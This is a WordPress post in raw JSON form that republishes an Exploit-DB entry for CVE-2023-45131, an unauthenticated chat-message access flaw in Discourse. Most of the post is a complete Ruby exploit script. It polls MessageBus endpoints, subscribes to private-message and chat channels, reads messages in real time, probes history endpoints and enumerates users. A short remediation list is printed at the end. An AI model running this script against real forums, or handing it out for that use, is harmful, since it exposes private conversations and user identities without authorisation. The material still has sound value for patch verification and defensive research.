{"id":8647,"date":"2025-07-22T05:49:20","date_gmt":"2025-07-22T05:49:20","guid":{"rendered":"http:\/\/localhost\/?p=8647"},"modified":"2025-07-22T05:49:20","modified_gmt":"2025-07-22T05:49:20","slug":"discourse-311-unauthenticated-chat-message-access","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=8647","title":{"rendered":"Discourse 3.1.1 &#8211; Unauthenticated Chat Message Access"},"content":{"rendered":"<h2>Exploit Details<\/h2>\n<h3>Basic Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">Discourse 3.1.1 &#8211; Unauthenticated Chat Message Access<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">EDB-ID:52375<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">exploitdb<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-07-22T00:00:00<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Modified<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-07-22T00:00:00<\/td>\n<\/tr>\n<\/table>\n<h3>CVSS Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">CVSS Score<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">7.5<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #ff4444; font-weight: bold;\">HIGH<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:N\/A:N<\/td>\n<\/tr>\n<\/table>\n<h3>CVE Information<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<li>CVE-2023-45131<\/li>\n<\/ul>\n<\/div>\n<h3>Exploit Description<\/h3>\n<div style=\" padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\n!\/usr\/bin\/env ruby Title : Discourse 3.1.1&#8230;\n<\/div>\n<h3>Exploit Code<\/h3>\n<div style=\" color: #d4d4d4; padding: 15px; border: 1px solid #ddd; margin-bottom: 20px; font-family: 'Courier New', monospace; white-space: pre-wrap; overflow-x: auto;\">\n#!\/usr\/bin\/env ruby<br \/>\n<br \/># Title : Discourse 3.1.1 &#8211; Unauthenticated Chat Message Access<br \/>\n<br \/># CVE-2023-45131<br \/>\n<br \/># CVSS: 7.5 (High)<br \/>\n<br \/># Affected: Discourse < 3.1.1 stable, < 3.2.0.beta2\n<br \/># Author ibrahimsql @ https:\/\/twitter.com\/ibrahmsql<br \/>\n<br \/># Date: 2023-12-14<\/p>\n<p>require &#8216;net\/http&#8217;<br \/>\n<br \/>require &#8216;uri&#8217;<br \/>\n<br \/>require &#8216;json&#8217;<br \/>\n<br \/>require &#8216;openssl&#8217;<br \/>\n<br \/>require &#8216;base64&#8217;<\/p>\n<p>class CVE202345131<br \/>\n<br \/>  def initialize(target_url)<br \/>\n<br \/>    @target_url = target_url.chomp(&#8216;\/&#8217;)<br \/>\n<br \/>    @results = []<br \/>\n<br \/>    @message_bus_client_id = nil<br \/>\n<br \/>    @csrf_token = nil<br \/>\n<br \/>  end<\/p>\n<p>  def run_exploit<br \/>\n<br \/>    puts &#8220;\\n[*] Testing CVE-2023-45131: Discourse Unauthenticated Chat Message Access&#8221;<br \/>\n<br \/>    puts &#8220;[*] Target: #{@target_url}&#8221;<br \/>\n<br \/>    puts &#8220;[*] CVSS Score: 7.5 (High)&#8221;<br \/>\n<br \/>    puts &#8220;[*] Affected: Discourse < 3.1.1 stable, < 3.2.0.beta2\\n\"\n\n    # Test MessageBus access\n<br \/>    test_messagebus_access<br \/>\n<br \/>    test_chat_channel_enumeration<br \/>\n<br \/>    test_private_message_access<br \/>\n<br \/>    test_real_time_monitoring<br \/>\n<br \/>    test_message_history_access<br \/>\n<br \/>    test_user_enumeration_via_chat<\/p>\n<p>    generate_report<br \/>\n<br \/>    @results<br \/>\n<br \/>  end<\/p>\n<p>  private<\/p>\n<p>  def test_messagebus_access<br \/>\n<br \/>    puts &#8220;[*] Testing MessageBus unauthenticated access&#8230;&#8221;<\/p>\n<p>    begin<br \/>\n<br \/>      # Get MessageBus client ID<br \/>\n<br \/>      uri = URI(&#8220;#{@target_url}\/message-bus\/poll&#8221;)<\/p>\n<p>      response = make_request(uri, &#8216;GET&#8217;)<\/p>\n<p>      if response &#038;&#038; response.code == &#8216;200&#8217;<br \/>\n<br \/>        begin<br \/>\n<br \/>          data = JSON.parse(response.body)<br \/>\n<br \/>          if data.is_a?(Array) &#038;&#038; !data.empty?<br \/>\n<br \/>            @message_bus_client_id = extract_client_id(response)<\/p>\n<p>            @results << {\n<br \/>              vulnerability: &#8220;MessageBus Access&#8221;,<br \/>\n<br \/>              severity: &#8220;High&#8221;,<br \/>\n<br \/>              description: &#8220;Unauthenticated access to MessageBus endpoint confirmed&#8221;,<br \/>\n<br \/>              impact: &#8220;Can monitor real-time messages and notifications&#8221;,<br \/>\n<br \/>              client_id: @message_bus_client_id<br \/>\n<br \/>            }<br \/>\n<br \/>            puts &#8220;[+] MessageBus access confirmed &#8211; Client ID: #{@message_bus_client_id}&#8221;<br \/>\n<br \/>            return true<br \/>\n<br \/>          end<br \/>\n<br \/>        rescue JSON::ParserError<br \/>\n<br \/>          # Try alternative endpoints<br \/>\n<br \/>          test_alternative_messagebus_endpoints<br \/>\n<br \/>        end<br \/>\n<br \/>      end<br \/>\n<br \/>    rescue => e<br \/>\n<br \/>      puts &#8220;[!] Error testing MessageBus access: #{e.message}&#8221;<br \/>\n<br \/>    end<\/p>\n<p>    false<br \/>\n<br \/>  end<\/p>\n<p>  def test_alternative_messagebus_endpoints<br \/>\n<br \/>    puts &#8220;[*] Testing alternative MessageBus endpoints&#8230;&#8221;<\/p>\n<p>    endpoints = [<br \/>\n<br \/>      &#8220;\/message-bus\/poll&#8221;,<br \/>\n<br \/>      &#8220;\/message-bus\/subscribe&#8221;,<br \/>\n<br \/>      &#8220;\/message-bus\/diagnostics&#8221;,<br \/>\n<br \/>      &#8220;\/message-bus\/long-poll&#8221;<br \/>\n<br \/>    ]<\/p>\n<p>    endpoints.each do |endpoint|<br \/>\n<br \/>      begin<br \/>\n<br \/>        uri = URI(&#8220;#{@target_url}#{endpoint}&#8221;)<br \/>\n<br \/>        response = make_request(uri, &#8216;GET&#8217;)<\/p>\n<p>        if response &#038;&#038; response.code == &#8216;200&#8217;<br \/>\n<br \/>          if response.body.include?(&#8216;message-bus&#8217;) || response.body.include?(&#8216;clientId&#8217;)<br \/>\n<br \/>            @results << {\n<br \/>              vulnerability: &#8220;Alternative MessageBus Endpoint&#8221;,<br \/>\n<br \/>              severity: &#8220;Medium&#8221;,<br \/>\n<br \/>              endpoint: endpoint,<br \/>\n<br \/>              description: &#8220;Alternative MessageBus endpoint accessible&#8221;,<br \/>\n<br \/>              impact: &#8220;Potential message monitoring capability&#8221;<br \/>\n<br \/>            }<br \/>\n<br \/>            puts &#8220;[+] Alternative endpoint accessible: #{endpoint}&#8221;<br \/>\n<br \/>          end<br \/>\n<br \/>        end<br \/>\n<br \/>      rescue => e<br \/>\n<br \/>        puts &#8220;[!] Error testing endpoint #{endpoint}: #{e.message}&#8221;<br \/>\n<br \/>      end<br \/>\n<br \/>    end<br \/>\n<br \/>  end<\/p>\n<p>  def test_chat_channel_enumeration<br \/>\n<br \/>    puts &#8220;[*] Testing chat channel enumeration&#8230;&#8221;<\/p>\n<p>    return unless @message_bus_client_id<\/p>\n<p>    begin<br \/>\n<br \/>      # Try to enumerate chat channels<br \/>\n<br \/>      uri = URI(&#8220;#{@target_url}\/message-bus\/poll&#8221;)<\/p>\n<p>      # Subscribe to chat channels<br \/>\n<br \/>      data = {<br \/>\n<br \/>        &#8216;\/chat\/new-messages&#8217; => -1,<br \/>\n<br \/>        &#8216;\/chat\/channel-status&#8217; => -1,<br \/>\n<br \/>        &#8216;\/chat\/user-tracking&#8217; => -1,<br \/>\n<br \/>        &#8216;clientId&#8217; => @message_bus_client_id<br \/>\n<br \/>      }<\/p>\n<p>      response = make_request(uri, &#8216;POST&#8217;, data)<\/p>\n<p>      if response &#038;&#038; response.code == &#8216;200&#8217;<br \/>\n<br \/>        begin<br \/>\n<br \/>          messages = JSON.parse(response.body)<\/p>\n<p>          if messages.is_a?(Array) &#038;&#038; !messages.empty?<br \/>\n<br \/>            chat_channels = extract_chat_channels(messages)<\/p>\n<p>            if !chat_channels.empty?<br \/>\n<br \/>              @results << {\n<br \/>                vulnerability: &#8220;Chat Channel Enumeration&#8221;,<br \/>\n<br \/>                severity: &#8220;High&#8221;,<br \/>\n<br \/>                channels: chat_channels,<br \/>\n<br \/>                description: &#8220;Enumerated accessible chat channels&#8221;,<br \/>\n<br \/>                impact: &#8220;Can identify active chat channels and participants&#8221;<br \/>\n<br \/>              }<br \/>\n<br \/>              puts &#8220;[+] Chat channels enumerated: #{chat_channels.join(&#8216;, &#8216;)}&#8221;<br \/>\n<br \/>            end<br \/>\n<br \/>          end<br \/>\n<br \/>        rescue JSON::ParserError => e<br \/>\n<br \/>          puts &#8220;[!] Error parsing chat channel response: #{e.message}&#8221;<br \/>\n<br \/>        end<br \/>\n<br \/>      end<br \/>\n<br \/>    rescue => e<br \/>\n<br \/>      puts &#8220;[!] Error enumerating chat channels: #{e.message}&#8221;<br \/>\n<br \/>    end<br \/>\n<br \/>  end<\/p>\n<p>  def test_private_message_access<br \/>\n<br \/>    puts &#8220;[*] Testing private message access&#8230;&#8221;<\/p>\n<p>    return unless @message_bus_client_id<\/p>\n<p>    begin<br \/>\n<br \/>      # Try to access private messages<br \/>\n<br \/>      uri = URI(&#8220;#{@target_url}\/message-bus\/poll&#8221;)<\/p>\n<p>      # Subscribe to private message channels<br \/>\n<br \/>      data = {<br \/>\n<br \/>        &#8216;\/private-messages&#8217; => -1,<br \/>\n<br \/>        &#8216;\/chat\/private&#8217; => -1,<br \/>\n<br \/>        &#8216;\/notification&#8217; => -1,<br \/>\n<br \/>        &#8216;clientId&#8217; => @message_bus_client_id<br \/>\n<br \/>      }<\/p>\n<p>      response = make_request(uri, &#8216;POST&#8217;, data)<\/p>\n<p>      if response &#038;&#038; response.code == &#8216;200&#8217;<br \/>\n<br \/>        begin<br \/>\n<br \/>          messages = JSON.parse(response.body)<\/p>\n<p>          if messages.is_a?(Array)<br \/>\n<br \/>            private_messages = extract_private_messages(messages)<\/p>\n<p>            if !private_messages.empty?<br \/>\n<br \/>              @results << {\n<br \/>                vulnerability: &#8220;Private Message Access&#8221;,<br \/>\n<br \/>                severity: &#8220;Critical&#8221;,<br \/>\n<br \/>                messages: private_messages,<br \/>\n<br \/>                description: &#8220;Accessed private chat messages without authentication&#8221;,<br \/>\n<br \/>                impact: &#8220;Complete breach of private communication confidentiality&#8221;<br \/>\n<br \/>              }<br \/>\n<br \/>              puts &#8220;[+] Private messages accessed: #{private_messages.length} messages found&#8221;<\/p>\n<p>              # Log sample messages (redacted)<br \/>\n<br \/>              private_messages.first(3).each_with_index do |msg, idx|<br \/>\n<br \/>                puts &#8221;    [#{idx + 1}] #{redact_message(msg)}&#8221;<br \/>\n<br \/>              end<br \/>\n<br \/>            end<br \/>\n<br \/>          end<br \/>\n<br \/>        rescue JSON::ParserError => e<br \/>\n<br \/>          puts &#8220;[!] Error parsing private message response: #{e.message}&#8221;<br \/>\n<br \/>        end<br \/>\n<br \/>      end<br \/>\n<br \/>    rescue => e<br \/>\n<br \/>      puts &#8220;[!] Error accessing private messages: #{e.message}&#8221;<br \/>\n<br \/>    end<br \/>\n<br \/>  end<\/p>\n<p>  def test_real_time_monitoring<br \/>\n<br \/>    puts &#8220;[*] Testing real-time message monitoring&#8230;&#8221;<\/p>\n<p>    return unless @message_bus_client_id<\/p>\n<p>    begin<br \/>\n<br \/>      puts &#8220;[*] Monitoring for 10 seconds&#8230;&#8221;<\/p>\n<p>      start_time = Time.now<br \/>\n<br \/>      monitored_messages = []<\/p>\n<p>      while (Time.now &#8211; start_time) < 10\n<br \/>        uri = URI(&#8220;#{@target_url}\/message-bus\/poll&#8221;)<\/p>\n<p>        data = {<br \/>\n<br \/>          &#8216;\/chat\/new-messages&#8217; => 0,<br \/>\n<br \/>          &#8216;clientId&#8217; => @message_bus_client_id<br \/>\n<br \/>        }<\/p>\n<p>        response = make_request(uri, &#8216;POST&#8217;, data)<\/p>\n<p>        if response &#038;&#038; response.code == &#8216;200&#8217;<br \/>\n<br \/>          begin<br \/>\n<br \/>            messages = JSON.parse(response.body)<\/p>\n<p>            if messages.is_a?(Array) &#038;&#038; !messages.empty?<br \/>\n<br \/>              new_messages = extract_new_messages(messages)<br \/>\n<br \/>              monitored_messages.concat(new_messages)<br \/>\n<br \/>            end<br \/>\n<br \/>          rescue JSON::ParserError<br \/>\n<br \/>            # Continue monitoring<br \/>\n<br \/>          end<br \/>\n<br \/>        end<\/p>\n<p>        sleep(1)<br \/>\n<br \/>      end<\/p>\n<p>      if !monitored_messages.empty?<br \/>\n<br \/>        @results << {\n<br \/>          vulnerability: &#8220;Real-time Message Monitoring&#8221;,<br \/>\n<br \/>          severity: &#8220;High&#8221;,<br \/>\n<br \/>          messages_count: monitored_messages.length,<br \/>\n<br \/>          description: &#8220;Successfully monitored real-time chat messages&#8221;,<br \/>\n<br \/>          impact: &#8220;Can intercept live communications&#8221;<br \/>\n<br \/>        }<br \/>\n<br \/>        puts &#8220;[+] Real-time monitoring successful: #{monitored_messages.length} messages intercepted&#8221;<br \/>\n<br \/>      else<br \/>\n<br \/>        puts &#8220;[-] No real-time messages detected during monitoring period&#8221;<br \/>\n<br \/>      end<br \/>\n<br \/>    rescue => e<br \/>\n<br \/>      puts &#8220;[!] Error during real-time monitoring: #{e.message}&#8221;<br \/>\n<br \/>    end<br \/>\n<br \/>  end<\/p>\n<p>  def test_message_history_access<br \/>\n<br \/>    puts &#8220;[*] Testing message history access&#8230;&#8221;<\/p>\n<p>    begin<br \/>\n<br \/>      # Try to access message history through various endpoints<br \/>\n<br \/>      history_endpoints = [<br \/>\n<br \/>        &#8220;\/chat\/api\/channels&#8221;,<br \/>\n<br \/>        &#8220;\/chat\/api\/messages&#8221;,<br \/>\n<br \/>        &#8220;\/chat\/history&#8221;,<br \/>\n<br \/>        &#8220;\/api\/chat\/channels.json&#8221;<br \/>\n<br \/>      ]<\/p>\n<p>      history_endpoints.each do |endpoint|<br \/>\n<br \/>        uri = URI(&#8220;#{@target_url}#{endpoint}&#8221;)<br \/>\n<br \/>        response = make_request(uri, &#8216;GET&#8217;)<\/p>\n<p>        if response &#038;&#038; response.code == &#8216;200&#8217;<br \/>\n<br \/>          begin<br \/>\n<br \/>            data = JSON.parse(response.body)<\/p>\n<p>            if data.is_a?(Hash) &#038;&#038; (data[&#8216;messages&#8217;] || data[&#8216;channels&#8217;] || data[&#8216;chat&#8217;])<br \/>\n<br \/>              @results << {\n<br \/>                vulnerability: &#8220;Message History Access&#8221;,<br \/>\n<br \/>                severity: &#8220;High&#8221;,<br \/>\n<br \/>                endpoint: endpoint,<br \/>\n<br \/>                description: &#8220;Accessed chat message history without authentication&#8221;,<br \/>\n<br \/>                impact: &#8220;Historical chat data exposure&#8221;<br \/>\n<br \/>              }<br \/>\n<br \/>              puts &#8220;[+] Message history accessible via: #{endpoint}&#8221;<br \/>\n<br \/>            end<br \/>\n<br \/>          rescue JSON::ParserError<br \/>\n<br \/>            # Check for HTML responses that might contain chat data<br \/>\n<br \/>            if response.body.include?(&#8216;chat&#8217;) &#038;&#038; response.body.include?(&#8216;message&#8217;)<br \/>\n<br \/>              @results << {\n<br \/>                vulnerability: &#8220;Message History Exposure&#8221;,<br \/>\n<br \/>                severity: &#8220;Medium&#8221;,<br \/>\n<br \/>                endpoint: endpoint,<br \/>\n<br \/>                description: &#8220;Chat-related content found in response&#8221;,<br \/>\n<br \/>                impact: &#8220;Potential information disclosure&#8221;<br \/>\n<br \/>              }<br \/>\n<br \/>              puts &#8220;[+] Chat-related content found in: #{endpoint}&#8221;<br \/>\n<br \/>            end<br \/>\n<br \/>          end<br \/>\n<br \/>        end<br \/>\n<br \/>      end<br \/>\n<br \/>    rescue => e<br \/>\n<br \/>      puts &#8220;[!] Error testing message history access: #{e.message}&#8221;<br \/>\n<br \/>    end<br \/>\n<br \/>  end<\/p>\n<p>  def test_user_enumeration_via_chat<br \/>\n<br \/>    puts &#8220;[*] Testing user enumeration via chat features&#8230;&#8221;<\/p>\n<p>    begin<br \/>\n<br \/>      # Try to enumerate users through chat-related endpoints<br \/>\n<br \/>      user_endpoints = [<br \/>\n<br \/>        &#8220;\/chat\/api\/users&#8221;,<br \/>\n<br \/>        &#8220;\/chat\/users.json&#8221;,<br \/>\n<br \/>        &#8220;\/api\/chat\/users&#8221;,<br \/>\n<br \/>        &#8220;\/chat\/members&#8221;<br \/>\n<br \/>      ]<\/p>\n<p>      user_endpoints.each do |endpoint|<br \/>\n<br \/>        uri = URI(&#8220;#{@target_url}#{endpoint}&#8221;)<br \/>\n<br \/>        response = make_request(uri, &#8216;GET&#8217;)<\/p>\n<p>        if response &#038;&#038; response.code == &#8216;200&#8217;<br \/>\n<br \/>          begin<br \/>\n<br \/>            data = JSON.parse(response.body)<\/p>\n<p>            if data.is_a?(Hash) &#038;&#038; (data[&#8216;users&#8217;] || data[&#8216;members&#8217;])<br \/>\n<br \/>              users = extract_users_from_chat(data)<\/p>\n<p>              if !users.empty?<br \/>\n<br \/>                @results << {\n<br \/>                  vulnerability: &#8220;User Enumeration via Chat&#8221;,<br \/>\n<br \/>                  severity: &#8220;Medium&#8221;,<br \/>\n<br \/>                  endpoint: endpoint,<br \/>\n<br \/>                  users_count: users.length,<br \/>\n<br \/>                  sample_users: users.first(5),<br \/>\n<br \/>                  description: &#8220;Enumerated chat users without authentication&#8221;,<br \/>\n<br \/>                  impact: &#8220;User information disclosure&#8221;<br \/>\n<br \/>                }<br \/>\n<br \/>                puts &#8220;[+] Users enumerated via #{endpoint}: #{users.length} users found&#8221;<br \/>\n<br \/>              end<br \/>\n<br \/>            end<br \/>\n<br \/>          rescue JSON::ParserError<br \/>\n<br \/>            # Continue with next endpoint<br \/>\n<br \/>          end<br \/>\n<br \/>        end<br \/>\n<br \/>      end<br \/>\n<br \/>    rescue => e<br \/>\n<br \/>      puts &#8220;[!] Error testing user enumeration: #{e.message}&#8221;<br \/>\n<br \/>    end<br \/>\n<br \/>  end<\/p>\n<p>  def extract_client_id(response)<br \/>\n<br \/>    # Extract client ID from response headers or body<br \/>\n<br \/>    if response[&#8216;X-MessageBus-Client-Id&#8217;]<br \/>\n<br \/>      return response[&#8216;X-MessageBus-Client-Id&#8217;]<br \/>\n<br \/>    end<\/p>\n<p>    # Try to extract from response body<br \/>\n<br \/>    begin<br \/>\n<br \/>      data = JSON.parse(response.body)<br \/>\n<br \/>      if data.is_a?(Hash) &#038;&#038; data[&#8216;clientId&#8217;]<br \/>\n<br \/>        return data[&#8216;clientId&#8217;]<br \/>\n<br \/>      end<br \/>\n<br \/>    rescue JSON::ParserError<br \/>\n<br \/>    end<\/p>\n<p>    # Generate a random client ID<br \/>\n<br \/>    SecureRandom.hex(16)<br \/>\n<br \/>  end<\/p>\n<p>  def extract_chat_channels(messages)<br \/>\n<br \/>    channels = []<\/p>\n<p>    messages.each do |message|<br \/>\n<br \/>      if message.is_a?(Hash)<br \/>\n<br \/>        if message[&#8216;channel&#8217;] &#038;&#038; message[&#8216;channel&#8217;].include?(&#8216;\/chat\/&#8217;)<br \/>\n<br \/>          channels << message['channel']\n<br \/>        elsif message[&#8216;data&#8217;] &#038;&#038; message[&#8216;data&#8217;].is_a?(Hash)<br \/>\n<br \/>          if message[&#8216;data&#8217;][&#8216;channel_id&#8217;]<br \/>\n<br \/>            channels << \"Channel #{message['data']['channel_id']}\"\n<br \/>          end<br \/>\n<br \/>        end<br \/>\n<br \/>      end<br \/>\n<br \/>    end<\/p>\n<p>    channels.uniq<br \/>\n<br \/>  end<\/p>\n<p>  def extract_private_messages(messages)<br \/>\n<br \/>    private_msgs = []<\/p>\n<p>    messages.each do |message|<br \/>\n<br \/>      if message.is_a?(Hash)<br \/>\n<br \/>        if message[&#8216;channel&#8217;] &#038;&#038; (message[&#8216;channel&#8217;].include?(&#8216;\/private&#8217;) || message[&#8216;channel&#8217;].include?(&#8216;\/chat\/private&#8217;))<br \/>\n<br \/>          private_msgs << {\n<br \/>            channel: message[&#8216;channel&#8217;],<br \/>\n<br \/>            data: message[&#8216;data&#8217;],<br \/>\n<br \/>            timestamp: message[&#8216;timestamp&#8217;] || Time.now.to_i<br \/>\n<br \/>          }<br \/>\n<br \/>        elsif message[&#8216;data&#8217;] &#038;&#038; message[&#8216;data&#8217;].is_a?(Hash)<br \/>\n<br \/>          if message[&#8216;data&#8217;][&#8216;message&#8217;] || message[&#8216;data&#8217;][&#8216;content&#8217;]<br \/>\n<br \/>            private_msgs << {\n<br \/>              content: message[&#8216;data&#8217;][&#8216;message&#8217;] || message[&#8216;data&#8217;][&#8216;content&#8217;],<br \/>\n<br \/>              user: message[&#8216;data&#8217;][&#8216;user&#8217;] || message[&#8216;data&#8217;][&#8216;username&#8217;],<br \/>\n<br \/>              timestamp: message[&#8216;data&#8217;][&#8216;timestamp&#8217;] || Time.now.to_i<br \/>\n<br \/>            }<br \/>\n<br \/>          end<br \/>\n<br \/>        end<br \/>\n<br \/>      end<br \/>\n<br \/>    end<\/p>\n<p>    private_msgs<br \/>\n<br \/>  end<\/p>\n<p>  def extract_new_messages(messages)<br \/>\n<br \/>    new_msgs = []<\/p>\n<p>    messages.each do |message|<br \/>\n<br \/>      if message.is_a?(Hash) &#038;&#038; message[&#8216;data&#8217;]<br \/>\n<br \/>        new_msgs << {\n<br \/>          channel: message[&#8216;channel&#8217;],<br \/>\n<br \/>          data: message[&#8216;data&#8217;],<br \/>\n<br \/>          timestamp: Time.now.to_i<br \/>\n<br \/>        }<br \/>\n<br \/>      end<br \/>\n<br \/>    end<\/p>\n<p>    new_msgs<br \/>\n<br \/>  end<\/p>\n<p>  def extract_users_from_chat(data)<br \/>\n<br \/>    users = []<\/p>\n<p>    if data[&#8216;users&#8217;] &#038;&#038; data[&#8216;users&#8217;].is_a?(Array)<br \/>\n<br \/>      data[&#8216;users&#8217;].each do |user|<br \/>\n<br \/>        if user.is_a?(Hash)<br \/>\n<br \/>          users << {\n<br \/>            username: user[&#8216;username&#8217;],<br \/>\n<br \/>            id: user[&#8216;id&#8217;],<br \/>\n<br \/>            name: user[&#8216;name&#8217;]<br \/>\n<br \/>          }<br \/>\n<br \/>        end<br \/>\n<br \/>      end<br \/>\n<br \/>    elsif data[&#8216;members&#8217;] &#038;&#038; data[&#8216;members&#8217;].is_a?(Array)<br \/>\n<br \/>      data[&#8216;members&#8217;].each do |member|<br \/>\n<br \/>        if member.is_a?(Hash)<br \/>\n<br \/>          users << {\n<br \/>            username: member[&#8216;username&#8217;] || member[&#8216;user&#8217;],<br \/>\n<br \/>            id: member[&#8216;id&#8217;] || member[&#8216;user_id&#8217;]<br \/>\n<br \/>          }<br \/>\n<br \/>        end<br \/>\n<br \/>      end<br \/>\n<br \/>    end<\/p>\n<p>    users<br \/>\n<br \/>  end<\/p>\n<p>  def redact_message(message)<br \/>\n<br \/>    if message.is_a?(Hash)<br \/>\n<br \/>      content = message[:content] || message[&#8216;content&#8217;] || message[:data] || &#8216;N\/A&#8217;<br \/>\n<br \/>      user = message[:user] || message[&#8216;user&#8217;] || &#8216;Unknown&#8217;<br \/>\n<br \/>      &#8220;User: #{user}, Content: #{content.to_s[0..50]}&#8230;&#8221;<br \/>\n<br \/>    else<br \/>\n<br \/>      message.to_s[0..50] + &#8220;&#8230;&#8221;<br \/>\n<br \/>    end<br \/>\n<br \/>  end<\/p>\n<p>  def make_request(uri, method = &#8216;GET&#8217;, data = nil, headers = {})<br \/>\n<br \/>    begin<br \/>\n<br \/>      http = Net::HTTP.new(uri.host, uri.port)<br \/>\n<br \/>      http.use_ssl = (uri.scheme == &#8216;https&#8217;)<br \/>\n<br \/>      http.verify_mode = OpenSSL::SSL::VERIFY_NONE if http.use_ssl?<br \/>\n<br \/>      http.read_timeout = 10<br \/>\n<br \/>      http.open_timeout = 10<\/p>\n<p>      request = case method.upcase<br \/>\n<br \/>                when &#8216;GET&#8217;<br \/>\n<br \/>                  Net::HTTP::Get.new(uri.request_uri)<br \/>\n<br \/>                when &#8216;POST&#8217;<br \/>\n<br \/>                  req = Net::HTTP::Post.new(uri.request_uri)<br \/>\n<br \/>                  if data<br \/>\n<br \/>                    if data.is_a?(Hash)<br \/>\n<br \/>                      req.set_form_data(data)<br \/>\n<br \/>                    else<br \/>\n<br \/>                      req.body = data<br \/>\n<br \/>                      req[&#8216;Content-Type&#8217;] = &#8216;application\/json&#8217;<br \/>\n<br \/>                    end<br \/>\n<br \/>                  end<br \/>\n<br \/>                  req<br \/>\n<br \/>                end<\/p>\n<p>      # Set headers<br \/>\n<br \/>      request[&#8216;User-Agent&#8217;] = &#8216;Mozilla\/5.0 (compatible; DiscourseMap\/2.0)&#8217;<br \/>\n<br \/>      request[&#8216;Accept&#8217;] = &#8216;application\/json, text\/javascript, *\/*; q=0.01&#8217;<br \/>\n<br \/>      request[&#8216;X-Requested-With&#8217;] = &#8216;XMLHttpRequest&#8217;<br \/>\n<br \/>      headers.each { |key, value| request[key] = value }<\/p>\n<p>      response = http.request(request)<br \/>\n<br \/>      return response<br \/>\n<br \/>    rescue => e<br \/>\n<br \/>      puts &#8220;[!] Request failed: #{e.message}&#8221;<br \/>\n<br \/>      return nil<br \/>\n<br \/>    end<br \/>\n<br \/>  end<\/p>\n<p>  def generate_report<br \/>\n<br \/>    puts &#8220;\\n&#8221; + &#8220;=&#8221;*60<br \/>\n<br \/>    puts &#8220;CVE-2023-45131 Exploitation Report&#8221;<br \/>\n<br \/>    puts &#8220;=&#8221;*60<br \/>\n<br \/>    puts &#8220;Target: #{@target_url}&#8221;<br \/>\n<br \/>    puts &#8220;Vulnerabilities Found: #{@results.length}&#8221;<\/p>\n<p>    if @results.empty?<br \/>\n<br \/>      puts &#8220;[+] No chat message access vulnerabilities detected&#8221;<br \/>\n<br \/>    else<br \/>\n<br \/>      puts &#8220;\\n[!] VULNERABILITIES DETECTED:&#8221;<br \/>\n<br \/>      @results.each_with_index do |result, index|<br \/>\n<br \/>        puts &#8220;\\n#{index + 1}. #{result[:vulnerability]}&#8221;<br \/>\n<br \/>        puts &#8221;   Severity: #{result[:severity]}&#8221;<br \/>\n<br \/>        puts &#8221;   Description: #{result[:description]}&#8221;<br \/>\n<br \/>        puts &#8221;   Impact: #{result[:impact]}&#8221;<\/p>\n<p>        if result[:messages_count]<br \/>\n<br \/>          puts &#8221;   Messages Found: #{result[:messages_count]}&#8221;<br \/>\n<br \/>        end<br \/>\n<br \/>        if result[:channels]<br \/>\n<br \/>          puts &#8221;   Channels: #{result[:channels].join(&#8216;, &#8216;)}&#8221;<br \/>\n<br \/>        end<br \/>\n<br \/>        if result[:endpoint]<br \/>\n<br \/>          puts &#8221;   Endpoint: #{result[:endpoint]}&#8221;<br \/>\n<br \/>        end<br \/>\n<br \/>      end<\/p>\n<p>      puts &#8220;\\n[!] REMEDIATION:&#8221;<br \/>\n<br \/>      puts &#8220;1. Update Discourse to version 3.1.1 stable or 3.2.0.beta2 or later&#8221;<br \/>\n<br \/>      puts &#8220;2. Implement proper authentication for MessageBus endpoints&#8221;<br \/>\n<br \/>      puts &#8220;3. Review and restrict access to chat-related APIs&#8221;<br \/>\n<br \/>      puts &#8220;4. Monitor MessageBus access logs for suspicious activity&#8221;<br \/>\n<br \/>      puts &#8220;5. Consider disabling chat features if not required&#8221;<br \/>\n<br \/>    end<\/p>\n<p>    puts &#8220;\\n&#8221; + &#8220;=&#8221;*60<br \/>\n<br \/>  end<br \/>\n<br \/>end<\/p>\n<p># Run the exploit if called directly<br \/>\n<br \/>if __FILE__ == $0<br \/>\n<br \/>  if ARGV.length != 1<br \/>\n<br \/>    puts &#8220;Usage: ruby #{$0} <target_url>&#8221;<br \/>\n<br \/>    puts &#8220;Example: ruby #{$0} https:\/\/discourse.example.com&#8221;<br \/>\n<br \/>    exit 1<br \/>\n<br \/>  end<\/p>\n<p>  target_url = ARGV[0]<br \/>\n<br \/>  exploit = CVE202345131.new(target_url)<br \/>\n<br \/>  exploit.run_exploit<br \/>\n<br \/>end\n<\/div>\n<p><a href=\"https:\/\/www.exploit-db.com\/exploits\/52375\" target=\"_blank\" style=\"display: inline-block;  color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Details Basic Information Exploit Title Discourse 3.1.1 &#8211; Unauthenticated Chat Message Access Exploit ID 